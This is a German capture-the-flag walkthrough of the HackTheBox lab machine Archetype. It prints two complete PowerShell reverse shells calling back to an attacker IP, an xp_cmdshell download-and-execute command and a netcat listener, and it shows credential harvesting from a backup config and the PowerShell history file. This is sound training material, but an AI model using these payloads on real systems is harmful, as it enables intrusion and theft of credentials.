HTB – Starting Point – Archetype

Archetype ist die erste Maschine in der Liste Starting Point. Die meisten neuen Benutzer bei HTB werden diese Liste als Einstiegspunkt bei HTB nutzen und kommen dementsprechend zuerst mit dieser Maschine in Kontakt.

Maschine

Betriebssystem: Windows
Veröffentlicht: 01.12.2020
Bewertung: Very Easy

1. Discovery

Nachdem ich meine virtuelle Maschine mit dem Netzwerk von VPN verbunden habe, verschaffe ich mir im ersten Schritt, wie in den meisten Fällen, einen Überblick mit NMAP.

nmap -sV -sC <ip>

Wir haben vier offene Ports gefunden. Bei der genaueren Untersuchung der einzelnen Dienste fange ich bei SMTP an.

2. SMTP

Mit dem folgenden Befehl prüfen wir welche Ordner auf dem Zielrechner freigegeben sind.

smbclient -L //10.10.10.27

Ein Passwort war nicht nötig. Anhand des $ nach ADMIN, C und IPC können wir erkennen das diese Ordner nicht ohne entsprechende Berechtigung geöffnet werden können. Der Ordner backups hingegen sollte lesbar sein.

smbclient //10.10.10.27/backups

Wie erwartet haben wir Zugriff auf den Ordner backups. Innerhalb des Ordners ist die Datei prod.dtsConfig zu finden. Diese können wir mit folgenden Befehl herunterladen:

mget prod.dtsConfig

Innerhalb der Datei finden wir die User ID ARCHETYPE\sql_svc und das dazugehörige Passwort.

3. SQL Datenbank

Die gefundene User ID legt nah das es sich um ein Benutzer für eine SQL Datenbank handelt. Durch den Portscan wissen wir bereits das eine MSSQL Datenbank auf Port 1433 existiert. Im nächsten Schritt versuchen wir uns mit dieser zu verbinden. Dafür nutzen wir den MySQL Client (mysqlclient.py) aus der Impacket Sammlung (Link).

python3 mssqlclient.py sql_svc@10.10.10.27 -windows-auth

Wie an der Ausgabe zu erkennen ist, war der Login erfolgreich. Mit dem Befehl help habe ich im nächsten Schritt mögliche Befehle geprüft.

Für die nächsten Schritte im SQL Server habe ich auf Hacktricks.xyz nachgeschlagen. Dies ist eine gute Quelle wie in verschiedenen Fällen vorgegangen werden kann (Link). Wir versuchen als nächstes die Shell zu aktivieren.

enable_xp_cmdshell

Wie an der Ausgabe erkannt werden kann ist die Shell aktiv. Wir können nun theoretisch einen Befehl ausführen. Ziel ist es vollen Zugriff auf das System zu gelangen. Aus diesem Grund versuchen wir im nächsten Schritt eine Reverse Shell zu implementieren.

4. Reverse Shell

Nachdem wir Befehle auf dem Ziel ausführen können, können wir dem Ziel sagen er soll von uns eine Reverse Shell herunterladen und anschließend ausführen. Dafür speichern wir eine Reverse Shell auf unsere Angreifer VM, starten im selben Ordner einen Webserver und führen in einer weiteren Konsole mithilfe von Netcat einen Listener aus.

Reverse Shell:

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.55',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

$sm=(New-Object Net.Sockets.TCPClient('10.10.14.55',55555)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

Webserver:

sudo python3 -m http.server 8080

Listener:

nc -lvnp 4444

Nachdem alles eingerichtet ist können wir über den SQL Server dem Ziel mitteilen er soll die Reverse Shell herunterladen und ausführen:

EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.55:8080/shell.ps1") | powershell -noprofile'

In der Konsole beim Webserver kann beobachtet werden das das Ziel die Shell herunterlädt. In der Konsole wo Netcat läuft dürfte nun eine ähnliche Meldung wie die folgende erscheinen:

connect to [10.10.14.55] from (UNKNOWN) [10.10.10.27] 49681

Von nun an können wir in dieser Konsole direkt Befehle an das Ziel senden.

5. User Flag

Die User Flag kann direkt über die Konsole auf dem Desktop des Benutzers gefunden werden.

cd C:\Users\sql_svc\Desktop
Get-Content user.txt

6. Privileg Escalation

Um die Root Flag zu bekommen benötigen wir die Rechte des Administrators. An dieser Stelle habe ich vieles ausprobiert. Kurz zusammengefasst besteht das Problem darin das Skripte wie z.B. winPEAS keine Schwachstelle finden und die vorhandene Reverse Shell kein normales Login mit einem anderen Benutzer ermöglicht. Letztlich habe ich mich durch eine Checkliste gearbeitet und in der PowerShell Historie die Credentials des Administrator gefunden. Ähnlich wie unter Linux werden auch in Windows die Befehle in der Powershell geloggt. Dies ist bei Windows unter %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt der Fall.

cd C:\Users\sql_svc\Roaming\Microsoft\Windows\PowerShell\PSReadline\
Get-Content ConsoleHost_history.txt

Nun sind wir im Besitz der Login Daten des Administrators. Jedoch können wir uns immer noch nicht einloggen. Aus diesem Grund habe ich mir die offenen Ports erneut angeguckt und versucht über dem SMBClient und den neuen Credentials auf die anderen Ordner zuzugreifen.

Wie im Screenshot zu erkennen ist dies nicht möglich. Da sich die anderen Dienste nicht ausnutzen lassen habe ich gegoogelt und bin auf eine Anleitung für das Testen von SMB Diensten gestoßen (Link). Dort wird untanderem das Tool CrackMapExec beschrieben welches im nächsten Schritt genutzt wird. Dafür muss es jedoch erst einmal installiert werden.

python3 -m pip install pipx
pipx ensurepath
pipx install crackmapexec

Nachdem das Tool erfolgreich installiert wurde führen wir es mit folgenden Befehl aus:

crackmapexec smb 10.10.10.27 -u administrator -p 'ZENSIERTES_PW'

Das Passwort muss in Hochkommatas gesetzt werden damit der Befehl richtig ausgeführt wird. Die folgende Ausgabe bestätigt uns das es wie gewünscht funktioniert hat.

Nun sollten wir uns erfolgreich mit dem Tool psexec.py und den Administrator Account mit dem Ziel verbinden können. Das Tool ist ebenfalls bestandteil der Impacket Sammlung.

psexec.py administrator@10.10.10.27

Nachdem ein Login erfolgreich war können wir die Root Flag auf dem Desktop einsehen.

cd C:\Users\Administrator\Desktop
type root.txt

Schreibe einen Kommentar